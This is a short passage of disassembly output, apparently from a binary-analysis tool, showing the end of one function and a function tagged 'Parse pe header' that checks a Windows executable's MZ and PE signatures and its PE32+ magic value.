pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x1400023a0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x1400023b8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x1400023c0
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret